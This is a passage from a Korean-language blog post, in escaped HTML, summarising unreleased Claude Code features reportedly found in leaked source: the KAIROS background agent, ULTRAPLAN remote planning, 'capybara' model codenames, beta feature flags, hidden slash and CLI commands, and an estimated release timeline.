&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 채팅, status bar 우측에 붙어버렸다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GSwlD/dJMcahjDGS9/kXVywT1J2APEbUWQ6lDmh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GSwlD/dJMcahjDGS9/kXVywT1J2APEbUWQ6lDmh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GSwlD/dJMcahjDGS9/kXVywT1J2APEbUWQ6lDmh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGSwlD%2FdJMcahjDGS9%2FkXVywT1J2APEbUWQ6lDmh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1630&quot; height=&quot;242&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- buddy pet 입력&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1652&quot; data-origin-height=&quot;138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg7qJI/dJMcagydbWm/Ke05vi6NVwRT7HomeKt6O0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg7qJI/dJMcagydbWm/Ke05vi6NVwRT7HomeKt6O0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg7qJI/dJMcagydbWm/Ke05vi6NVwRT7HomeKt6O0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg7qJI%2FdJMcagydbWm%2FKe05vi6NVwRT7HomeKt6O0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1652&quot; height=&quot;138&quot; data-origin-width=&quot;1652&quot; data-origin-height=&quot;138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/badCE0/dJMcacP8zr2/db9FJBNtINb4yrXxuoahE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/badCE0/dJMcacP8zr2/db9FJBNtINb4yrXxuoahE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/badCE0/dJMcacP8zr2/db9FJBNtINb4yrXxuoahE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbadCE0%2FdJMcacP8zr2%2Fdb9FJBNtINb4yrXxuoahE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1674&quot; height=&quot;368&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;② KAIROS &amp;mdash; 항상 켜져있는 Claude&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSrfGi/dJMcaaY3CJA/U0juCQAZBwFKVReoxnwoq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSrfGi/dJMcaaY3CJA/U0juCQAZBwFKVReoxnwoq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSrfGi/dJMcaaY3CJA/U0juCQAZBwFKVReoxnwoq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSrfGi%2FdJMcaaY3CJA%2FU0juCQAZBwFKVReoxnwoq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1068&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무엇인가:&lt;/b&gt; 사용자가 타이핑하기를 기다리지 않는 지속적 백그라운드 Claude 인스턴스. 활동을 모니터링하고, 일별 append-only 로그를 기록하며, 정기적으로 &lt;code&gt;&amp;lt;tick&amp;gt;&lt;/code&gt; 프롬프트를 받아 &quot;행동할지 조용히 있을지&quot; 결정한다. 사용자 워크플로우를 15초 이상 블로킹하는 모든 선제적 행동은 자동으로 연기된다(15초 블로킹 예산).&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전용 도구 (일반 Claude Code에서는 사용 불가):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;SendUserFile&lt;/code&gt; &amp;mdash; 사용자에게 파일 직접 전송&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PushNotification&lt;/code&gt; &amp;mdash; 알림 푸시&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SubscribePR&lt;/code&gt; &amp;mdash; PR 이벤트 구독&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SleepTool&lt;/code&gt; &amp;mdash; 지정된 시간 동안 실행 일시 중단 (백그라운드 에이전트 스케줄링 전용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;추가 메모리 통합: &lt;b&gt;Dream&lt;/b&gt; 기능(메모리 통합 에이전트)을 내장해 idle 시간에 24시간/5세션 주기로 메모리를 정리한다 &amp;mdash; 필자가 이전에 분석한 &lt;a href=&quot;https://ai-tools-series/forDevelop/claude-code-auto-dream-guide.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Auto Dream&lt;/a&gt; 기능의 실제 내부 구현체가 여기에 있었다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;③ ULTRAPLAN &amp;mdash; 원격 Opus 계획 엔진&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;1170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zWk30/dJMcacWRZEY/i7LoVRkwqjArq5P7KYPKE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zWk30/dJMcacWRZEY/i7LoVRkwqjArq5P7KYPKE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zWk30/dJMcacWRZEY/i7LoVRkwqjArq5P7KYPKE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzWk30%2FdJMcacWRZEY%2Fi7LoVRkwqjArq5P7KYPKE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;449&quot; height=&quot;382&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무엇인가:&lt;/b&gt; 복잡한 계획 작업을 &lt;b&gt;Cloud Container Runtime(CCR)&lt;/b&gt; 세션에서 실행 중인 Opus 4.6에게 위임하는 기능. 최대 30분간 실행 가능하며, 결과가 나오면 로컬 터미널로 &quot;텔레포트&quot;된다. 실행 전 브라우저 기반 승인 워크플로우가 있어, 사용자가 Opus가 제안한 계획을 검토 후 적용 여부를 결정한다. &lt;br /&gt;(출처: &lt;a href=&quot;https://dev.to/evan-dong/claude-codes-entire-source-code-just-leaked-512000-lines-exposed-3139&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to 분석&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;④ Capybara 모델 패밀리&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8AqbW/dJMcaflMnYl/szwL4snnhL23PbwUdVD2YK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8AqbW/dJMcaflMnYl/szwL4snnhL23PbwUdVD2YK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8AqbW/dJMcaflMnYl/szwL4snnhL23PbwUdVD2YK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8AqbW%2FdJMcaflMnYl%2FszwL4snnhL23PbwUdVD2YK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;404&quot; height=&quot;171&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;소스에서 발견된 미공개 모델 코드명:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;capybara&lt;/code&gt; &amp;mdash; 표준 버전&lt;/li&gt;
&lt;li&gt;&lt;code&gt;capybara-fast&lt;/code&gt; &amp;mdash; 빠른 버전&lt;/li&gt;
&lt;li&gt;&lt;code&gt;capybara-fast[1m]&lt;/code&gt; &amp;mdash; 빠른 버전 + 1M 컨텍스트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 내부 프로젝트 코드명인 &lt;b&gt;&quot;Tengu&quot;&lt;/b&gt;는 수백 개의 피처 플래그와 애널리틱스 이벤트에 접두사로 사용된다. 내부적으로 Tengu = Claude Code다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;⑤ betas.ts 피처 플래그 전체 목록&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;612&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bM1KEB/dJMcacCBa2R/1R47V4kEmc9d5DFLcBr1bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bM1KEB/dJMcacCBa2R/1R47V4kEmc9d5DFLcBr1bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bM1KEB/dJMcacCBa2R/1R47V4kEmc9d5DFLcBr1bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbM1KEB%2FdJMcacCBa2R%2F1R47V4kEmc9d5DFLcBr1bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;342&quot; height=&quot;177&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;612&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;betas.ts&lt;/code&gt; 파일에서 확인된 15개 이상의 미출시 기능:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플래그&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;interleaved thinking&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;확장 추론 중간 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;1M token context&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;100만 토큰 컨텍스트 윈도우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;structured outputs&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;구조화된 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;web search integration&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;웹 검색 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;AFK mode&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;자리 비움 자율 실행 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Fast Mode (&quot;Penguin Mode&quot;)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;내부명 &quot;Penguin Mode&quot;, 빠른 응답 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;redacted thinking&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;추론 과정 숨김 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;advisor tool&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;자문 전용 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;token-efficient tool schemas&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;토큰 효율적 도구 스키마&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;connector text summarization&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;커넥터 텍스트 요약&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 6 추가 — 숨겨진 커맨드 &amp; 타임라인 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;⑥ 숨겨진 슬래시 커맨드 &amp;amp; CLI 서브커맨드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스에서 확인된 미공개 명령어들. 현재 일반 사용자 빌드에서는 feature flag로 차단되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad 분석, 2026-03-31&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;커맨드&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;연결 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/ultraplan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;ULTRAPLAN &amp;mdash; 원격 Opus 4.6 30분 계획&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BUDDY &amp;mdash; AI 반려동물 소환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/dream&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;KAIROS_DREAM &amp;mdash; 메모리 통합 에이전트 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/fork&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;FORK_SUBAGENT &amp;mdash; 대화를 서브에이전트로 포크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/loop&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;AGENT_TRIGGERS &amp;mdash; Cron 기반 자동 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/schedule&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;AGENT_TRIGGERS_REMOTE &amp;mdash; 원격 스케줄 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/subscribe-pr&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;KAIROS_GITHUB_WEBHOOKS &amp;mdash; PR 이벤트 구독&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/brief&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;KAIROS_BRIEF &amp;mdash; 간략 요약 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/peers&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;UDS_INBOX &amp;mdash; Unix Domain Socket 피어 메시지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/workflows&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;WORKFLOW_SCRIPTS &amp;mdash; 커스텀 워크플로우 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/thinkback&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;GrowthBook 런타임 게이트 &amp;mdash; 추론 재검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/torch&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;TORCH &amp;mdash; 소스에서 목적 불명확&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude daemon&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;DAEMON &amp;mdash; 백그라운드 수퍼바이저 프로세스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude remote-control&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BRIDGE_MODE &amp;mdash; 원격 환경 브리지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude --bg&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BG_SESSIONS &amp;mdash; 백그라운드 세션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude ps / logs / attach / kill&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BG_SESSIONS &amp;mdash; 백그라운드 세션 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude --computer-use-mcp&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CHICAGO_MCP &amp;mdash; macOS 컴퓨터 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;⑦ 출시 타임라인 예측 (aldegad 분석)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ESTIMATE] 소스 완성도와 feature flag 상태를 기반으로 한 분석팀 예측이다. 공식 Anthropic 발표가 아님을 명심하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad 분석, 2026-03-31&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예상 출시&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;TRANSCRIPT_CLASSIFIER (auto 모드)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;이미 부분 공개&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;외부 빌드 포함, GrowthBook 점진 롤아웃&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BG_SESSIONS (&lt;code&gt;claude --bg&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q2-Q3&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;높은 코드 완성도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;AGENT_TRIGGERS (/loop, /schedule)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q2-Q3&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;TODO(public-ship)&lt;/code&gt; 주석 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
